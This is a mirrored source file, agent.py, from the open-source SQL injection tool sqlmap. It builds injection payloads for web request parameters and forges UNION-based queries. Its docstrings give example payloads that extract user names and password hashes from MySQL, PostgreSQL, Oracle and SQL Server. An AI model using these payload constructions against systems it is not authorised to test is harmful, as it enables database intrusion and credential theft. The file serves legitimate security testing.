mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 17:46:37 +03:00
c8f943f5e4
Major code refactoring and commenting to detection engine. Ask user whether or not to proceed to test remaining parameters after an injection point has been identified. Restore beep at SQL injection find. Avoid reuse of same variable in DBMS handler code. Minor adjustment of payloads XML file.
675 lines
28 KiB
Python
675 lines
28 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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from xml.etree import ElementTree as ET
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from lib.core.common import getCompiledRegex
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from lib.core.common import randomInt
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from lib.core.common import randomStr
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from lib.core.convert import urlencode
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import queries
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from lib.core.datatype import advancedDict
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from lib.core.enums import DBMS
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from lib.core.enums import PLACE
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from lib.core.exception import sqlmapNoneDataException
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from lib.core.settings import ERROR_START_CHAR
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from lib.core.settings import ERROR_END_CHAR
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from lib.core.settings import PAYLOAD_DELIMITER
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class Agent:
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"""
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This class defines the SQL agent methods.
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"""
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def __init__(self):
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kb.misc = advancedDict()
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kb.misc.delimiter = randomStr(6)
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kb.misc.start = randomStr(6)
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kb.misc.stop = randomStr(6)
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def payloadDirect(self, query):
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if query.startswith("AND "):
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query = query.replace("AND ", "SELECT ", 1)
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elif query.startswith(" UNION ALL "):
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query = query.replace(" UNION ALL ", "", 1)
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elif query.startswith("; "):
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query = query.replace("; ", "", 1)
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if kb.tamperFunctions:
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for function in kb.tamperFunctions:
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query = function(query)
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return query
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def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
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"""
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This method replaces the affected parameter with the SQL
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injection statement to request
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"""
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if conf.direct:
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return self.payloadDirect(newValue)
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falseValue = ""
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negValue = ""
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retValue = ""
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if negative or kb.unionNegative:
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negValue = "-"
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elif falseCond or kb.unionFalseCond:
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randInt = randomInt()
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falseValue = " AND %d=%d" % (randInt, randInt + 1)
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# After identifing the injectable parameter
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if kb.injection.place == PLACE.UA and kb.injection.parameter:
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retValue = kb.injection.parameter.replace(kb.injection.parameter,
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self.addPayloadDelimiters("%s%s" % (negValue, kb.injection.parameter + falseValue + newValue)))
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elif kb.injection.place and kb.injection.parameter:
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paramString = conf.parameters[kb.injection.place]
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paramDict = conf.paramDict[kb.injection.place]
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value = paramDict[kb.injection.parameter]
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if "POSTxml" in conf.paramDict and kb.injection.place == PLACE.POST:
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root = ET.XML(paramString)
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iterator = root.getiterator(kb.injection.parameter)
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for child in iterator:
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child.text = self.addPayloadDelimiters(negValue + value + falseValue + newValue)
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retValue = ET.tostring(root)
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elif kb.injection.place == PLACE.URI:
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retValue = paramString.replace("*",
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self.addPayloadDelimiters("%s%s" % (negValue, falseValue + newValue)))
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else:
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retValue = paramString.replace("%s=%s" % (kb.injection.parameter, value),
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"%s=%s" % (kb.injection.parameter, self.addPayloadDelimiters(negValue + value + falseValue + newValue)))
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# Before identifing the injectable parameter
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elif parameter == PLACE.UA:
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retValue = value.replace(value, self.addPayloadDelimiters(newValue))
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elif place == PLACE.URI:
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retValue = value.replace("*", self.addPayloadDelimiters("%s" % newValue.replace(value, str())))
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else:
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paramString = conf.parameters[place]
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if "POSTxml" in conf.paramDict and place == PLACE.POST:
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root = ET.XML(paramString)
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iterator = root.getiterator(parameter)
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for child in iterator:
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child.text = self.addPayloadDelimiters(newValue)
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retValue = ET.tostring(root)
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else:
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retValue = paramString.replace("%s=%s" % (parameter, value),
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"%s=%s" % (parameter, self.addPayloadDelimiters(newValue)))
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return retValue
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def fullPayload(self, query):
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if conf.direct:
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return self.payloadDirect(query)
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query = self.prefixQuery(query)
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query = self.suffixQuery(query)
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payload = self.payload(newValue=query)
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return payload
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def prefixQuery(self, string):
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"""
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This method defines how the input string has to be escaped
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to perform the injection depending on the injection type
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identified as valid
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"""
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if conf.direct:
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return self.payloadDirect(string)
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query = "%s " % kb.injection.prefix
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query += string
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query = self.cleanupPayload(query)
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return query
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def suffixQuery(self, string, comment=None):
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"""
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This method appends the DBMS comment to the
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SQL injection request
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"""
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if conf.direct:
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return self.payloadDirect(string)
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if comment is not None:
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string += comment
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string += " %s" % kb.injection.suffix
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string = self.cleanupPayload(string)
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return string
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def cleanupPayload(self, payload):
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randInt = randomInt()
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randInt1 = randomInt()
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randStr = randomStr()
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payload = payload.replace("[RANDNUM]", str(randInt))
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payload = payload.replace("[RANDNUM1]", str(randInt1))
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payload = payload.replace("[RANDSTR]", randStr)
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payload = payload.replace("[ERROR_START_CHAR]", ERROR_START_CHAR)
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payload = payload.replace("[ERROR_END_CHAR]", ERROR_END_CHAR)
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payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
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return payload
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def getComment(self, reqObj):
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if "comment" in reqObj:
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comment = reqObj.comment
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else:
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comment = ""
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return comment
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def nullAndCastField(self, field):
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"""
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Take in input a field string and return its processed nulled and
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casted field string.
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Examples:
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MySQL input: VERSION()
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MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
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MySQL scope: VERSION()
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PostgreSQL input: VERSION()
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PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
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PostgreSQL scope: VERSION()
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Oracle input: banner
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Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
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Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
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Microsoft SQL Server input: @@VERSION
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Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
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Microsoft SQL Server scope: @@VERSION
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@param field: field string to be processed
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@type field: C{str}
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@return: field string nulled and casted
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@rtype: C{str}
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"""
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# SQLite version 2 does not support neither CAST() nor IFNULL(),
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# introduced only in SQLite version 3
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if kb.dbms == DBMS.SQLITE:
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return field
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if field.startswith("(CASE"):
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nulledCastedField = field
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else:
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nulledCastedField = queries[kb.dbms].cast.query % field
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if kb.dbms == DBMS.ACCESS:
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nulledCastedField = queries[kb.dbms].isnull.query % (nulledCastedField, nulledCastedField)
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else:
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nulledCastedField = queries[kb.dbms].isnull.query % nulledCastedField
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return nulledCastedField
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def nullCastConcatFields(self, fields):
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"""
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Take in input a sequence of fields string and return its processed
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nulled, casted and concatenated fields string.
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Examples:
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MySQL input: user,password
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MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
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MySQL scope: SELECT user, password FROM mysql.user
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PostgreSQL input: usename,passwd
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PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
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PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
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Oracle input: COLUMN_NAME,DATA_TYPE
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Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
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Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
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Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
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Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
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Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
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@param fields: fields string to be processed
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@type fields: C{str}
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@return: fields string nulled, casted and concatened
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@rtype: C{str}
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"""
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if not kb.dbmsDetected:
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return fields
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fields = fields.replace(", ", ",")
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fieldsSplitted = fields.split(",")
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dbmsDelimiter = queries[kb.dbms].delimiter.query
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nulledCastedFields = []
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for field in fieldsSplitted:
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nulledCastedFields.append(self.nullAndCastField(field))
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delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.misc.delimiter, dbmsDelimiter)
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nulledCastedConcatFields = delimiterStr.join([field for field in nulledCastedFields])
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return nulledCastedConcatFields
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def getFields(self, query):
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"""
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Take in input a query string and return its fields (columns) and
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more details.
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Example:
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Input: SELECT user, password FROM mysql.user
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Output: user,password
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@param query: query to be processed
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@type query: C{str}
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@return: query fields (columns) and more details
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@rtype: C{str}
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"""
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prefixRegex = "(?:\s+(?:FIRST|SKIP)\s+\d+)*"
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fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
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fieldsSelectDistinct = re.search("\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
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fieldsSelectCase = re.search("\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
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fieldsSelectFrom = re.search("\ASELECT%s\s+(.+?)\s+FROM\s+" % prefixRegex, query, re.I)
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fieldsSelect = re.search("\ASELECT%s\s+(.*)" % prefixRegex, query, re.I)
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fieldsNoSelect = query
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if fieldsSelectTop:
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fieldsToCastStr = fieldsSelectTop.groups()[0]
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elif fieldsSelectDistinct:
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fieldsToCastStr = fieldsSelectDistinct.groups()[0]
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elif fieldsSelectCase:
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fieldsToCastStr = fieldsSelectCase.groups()[0]
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elif fieldsSelectFrom:
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fieldsToCastStr = fieldsSelectFrom.groups()[0]
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elif fieldsSelect:
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fieldsToCastStr = fieldsSelect.groups()[0]
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elif fieldsNoSelect:
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fieldsToCastStr = fieldsNoSelect
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if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I): #function
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fieldsToCastList = [fieldsToCastStr]
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else:
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fieldsToCastList = fieldsToCastStr.replace(", ", ",")
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fieldsToCastList = fieldsToCastList.split(",")
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return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
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def simpleConcatQuery(self, query1, query2):
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concatenatedQuery = ""
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if kb.dbms == DBMS.MYSQL:
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concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
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elif kb.dbms in ( DBMS.POSTGRESQL, DBMS.ORACLE, DBMS.SQLITE ):
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concatenatedQuery = "%s||%s" % (query1, query2)
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elif kb.dbms == DBMS.MSSQL:
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concatenatedQuery = "%s+%s" % (query1, query2)
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return concatenatedQuery
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def concatQuery(self, query, unpack=True):
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"""
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Take in input a query string and return its processed nulled,
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casted and concatenated query string.
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Examples:
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MySQL input: SELECT user, password FROM mysql.user
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MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
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PostgreSQL input: SELECT usename, passwd FROM pg_shadow
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PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
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Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
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Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
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Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
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Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
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@param query: query string to be processed
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@type query: C{str}
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@return: query string nulled, casted and concatenated
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@rtype: C{str}
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"""
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if unpack:
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concatenatedQuery = ""
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query = query.replace(", ", ",")
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fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
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castedFields = self.nullCastConcatFields(fieldsToCastStr)
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concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
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else:
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concatenatedQuery = query
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fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
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if kb.dbms == DBMS.MYSQL:
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if fieldsSelectCase:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
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concatenatedQuery += ",'%s')" % kb.misc.stop
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elif fieldsSelectFrom:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
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concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % kb.misc.stop, 1)
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elif fieldsSelect:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
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concatenatedQuery += ",'%s')" % kb.misc.stop
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elif fieldsNoSelect:
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concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
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elif kb.dbms in ( DBMS.POSTGRESQL, DBMS.ORACLE, DBMS.SQLITE ):
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if fieldsSelectCase:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
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concatenatedQuery += "||'%s'" % kb.misc.stop
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elif fieldsSelectFrom:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
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concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % kb.misc.stop, 1)
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elif fieldsSelect:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
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concatenatedQuery += "||'%s'" % kb.misc.stop
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elif fieldsNoSelect:
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concatenatedQuery = "'%s'||%s||'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
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if kb.dbms == DBMS.ORACLE and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ):
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concatenatedQuery += " FROM DUAL"
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elif kb.dbms == DBMS.MSSQL:
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if fieldsSelectTop:
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topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
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concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.misc.start), 1)
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concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.misc.stop, 1)
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elif fieldsSelectCase:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
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concatenatedQuery += "+'%s'" % kb.misc.stop
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elif fieldsSelectFrom:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
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concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.misc.stop, 1)
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elif fieldsSelect:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
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concatenatedQuery += "+'%s'" % kb.misc.stop
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elif fieldsNoSelect:
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concatenatedQuery = "'%s'+%s+'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
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return concatenatedQuery
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def forgeInbandQuery(self, query, exprPosition=None, nullChar=None, count=None, comment=None):
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"""
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Take in input an query (pseudo query) string and return its
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processed UNION ALL SELECT query.
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Examples:
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MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
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MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
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PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
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PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
|
|
|
|
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
|
|
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
|
|
|
|
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
|
|
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
|
|
|
|
@param query: it is a processed query string unescaped to be
|
|
forged within an UNION ALL SELECT statement
|
|
@type query: C{str}
|
|
|
|
@param exprPosition: it is the NULL position where it is possible
|
|
to inject the query
|
|
@type exprPosition: C{int}
|
|
|
|
@return: UNION ALL SELECT query string forged
|
|
@rtype: C{str}
|
|
"""
|
|
|
|
if nullChar is None:
|
|
nullChar = conf.uChar
|
|
|
|
if count is None:
|
|
count = kb.unionCount
|
|
|
|
if comment is None:
|
|
comment = kb.unionComment
|
|
|
|
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
|
|
|
|
if query.startswith("TOP"):
|
|
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
|
|
query = query[len("TOP %s " % topNum):]
|
|
inbandQuery += "TOP %s " % topNum
|
|
|
|
if not isinstance(exprPosition, int):
|
|
exprPosition = kb.unionPosition
|
|
|
|
intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
|
|
|
|
if intoRegExp:
|
|
intoRegExp = intoRegExp.group(1)
|
|
query = query[:query.index(intoRegExp)]
|
|
|
|
if kb.dbms == DBMS.ORACLE and inbandQuery.endswith(" FROM DUAL"):
|
|
inbandQuery = inbandQuery[:-len(" FROM DUAL")]
|
|
|
|
for element in range(count):
|
|
if element > 0:
|
|
inbandQuery += ", "
|
|
|
|
if element == exprPosition:
|
|
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
|
|
conditionIndex = query.index(" FROM ")
|
|
inbandQuery += query[:conditionIndex]
|
|
else:
|
|
inbandQuery += query
|
|
else:
|
|
inbandQuery += nullChar
|
|
|
|
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
|
|
conditionIndex = query.index(" FROM ")
|
|
inbandQuery += query[conditionIndex:]
|
|
|
|
if kb.dbms == DBMS.ORACLE:
|
|
if " FROM " not in inbandQuery:
|
|
inbandQuery += " FROM DUAL"
|
|
|
|
if intoRegExp:
|
|
inbandQuery += intoRegExp
|
|
|
|
inbandQuery = self.suffixQuery(inbandQuery, comment)
|
|
|
|
return inbandQuery
|
|
|
|
def limitQuery(self, num, query, field=None):
|
|
"""
|
|
Take in input a query string and return its limited query string.
|
|
|
|
Example:
|
|
|
|
Input: SELECT user FROM mysql.users
|
|
Output: SELECT user FROM mysql.users LIMIT <num>, 1
|
|
|
|
@param num: limit number
|
|
@type num: C{int}
|
|
|
|
@param query: query to be processed
|
|
@type query: C{str}
|
|
|
|
@param field: field within the query
|
|
@type field: C{list}
|
|
|
|
@return: limited query string
|
|
@rtype: C{str}
|
|
"""
|
|
|
|
limitedQuery = query
|
|
limitStr = queries[kb.dbms].limit.query
|
|
fromIndex = limitedQuery.index(" FROM ")
|
|
untilFrom = limitedQuery[:fromIndex]
|
|
fromFrom = limitedQuery[fromIndex+1:]
|
|
orderBy = False
|
|
|
|
if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL, DBMS.SQLITE ):
|
|
limitStr = queries[kb.dbms].limit.query % (num, 1)
|
|
limitedQuery += " %s" % limitStr
|
|
|
|
elif kb.dbms == DBMS.FIREBIRD:
|
|
limitStr = queries[kb.dbms].limit.query % (num+1, num+1)
|
|
limitedQuery += " %s" % limitStr
|
|
|
|
elif kb.dbms == DBMS.ORACLE:
|
|
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
|
|
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
|
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
|
|
|
if query.startswith("SELECT "):
|
|
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
|
|
else:
|
|
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
|
|
limitedQuery = limitedQuery % fromFrom
|
|
limitedQuery += "=%d" % (num + 1)
|
|
|
|
elif kb.dbms == DBMS.MSSQL:
|
|
forgeNotIn = True
|
|
|
|
if " ORDER BY " in limitedQuery:
|
|
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
|
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
|
|
|
notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
|
|
|
|
for notDistinct in notDistincts:
|
|
limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct)
|
|
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
|
|
|
|
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
|
|
topNums = re.search(queries[kb.dbms].limitregexp.query, limitedQuery, re.I)
|
|
|
|
if topNums:
|
|
topNums = topNums.groups()
|
|
quantityTopNums = topNums[0]
|
|
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
|
|
startTopNums = topNums[1]
|
|
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
|
|
forgeNotIn = False
|
|
else:
|
|
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
|
|
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
|
|
|
if forgeNotIn:
|
|
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
|
|
|
if " WHERE " in limitedQuery:
|
|
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
|
else:
|
|
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
|
|
|
|
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
|
limitedQuery += "%s %s)" % (field, fromFrom)
|
|
|
|
if orderBy:
|
|
limitedQuery += orderBy
|
|
|
|
return limitedQuery
|
|
|
|
def forgeCaseStatement(self, expression):
|
|
"""
|
|
Take in input a query string and return its CASE statement query
|
|
string.
|
|
|
|
Example:
|
|
|
|
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
|
|
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
|
|
|
|
@param expression: expression to be processed
|
|
@type num: C{str}
|
|
|
|
@return: processed expression
|
|
@rtype: C{str}
|
|
"""
|
|
|
|
return queries[kb.dbms].case.query % expression
|
|
|
|
def addPayloadDelimiters(self, inpStr):
|
|
"""
|
|
Adds payload delimiters around the input string
|
|
"""
|
|
retVal = inpStr
|
|
|
|
if inpStr:
|
|
retVal = "%s%s%s" % (PAYLOAD_DELIMITER, inpStr, PAYLOAD_DELIMITER)
|
|
|
|
return retVal
|
|
|
|
def removePayloadDelimiters(self, inpStr, urlencode_=True):
|
|
"""
|
|
Removes payload delimiters from inside the input string
|
|
"""
|
|
retVal = inpStr
|
|
|
|
if inpStr:
|
|
if urlencode_:
|
|
regObj = getCompiledRegex("(?P<result>%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER))
|
|
|
|
for match in regObj.finditer(inpStr):
|
|
retVal = retVal.replace(match.group("result"), urlencode(match.group("result").strip(PAYLOAD_DELIMITER), convall=True))
|
|
else:
|
|
retVal = retVal.replace(PAYLOAD_DELIMITER, '')
|
|
|
|
return retVal
|
|
|
|
def extractPayload(self, inpStr):
|
|
"""
|
|
Extracts payload from inside of the input string
|
|
"""
|
|
retVal = None
|
|
|
|
if inpStr:
|
|
regObj = getCompiledRegex("%s(?P<result>.*?)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER))
|
|
match = regObj.search(inpStr)
|
|
|
|
if match:
|
|
retVal = match.group("result")
|
|
|
|
return retVal
|
|
|
|
def replacePayload(self, inpStr, payload):
|
|
"""
|
|
Replaces payload inside the input string with a given payload
|
|
"""
|
|
retVal = inpStr
|
|
|
|
if inpStr:
|
|
regObj = getCompiledRegex("(%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER))
|
|
retVal = regObj.sub("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER), inpStr)
|
|
|
|
return retVal
|
|
|
|
# SQL agent
|
|
agent = Agent()
|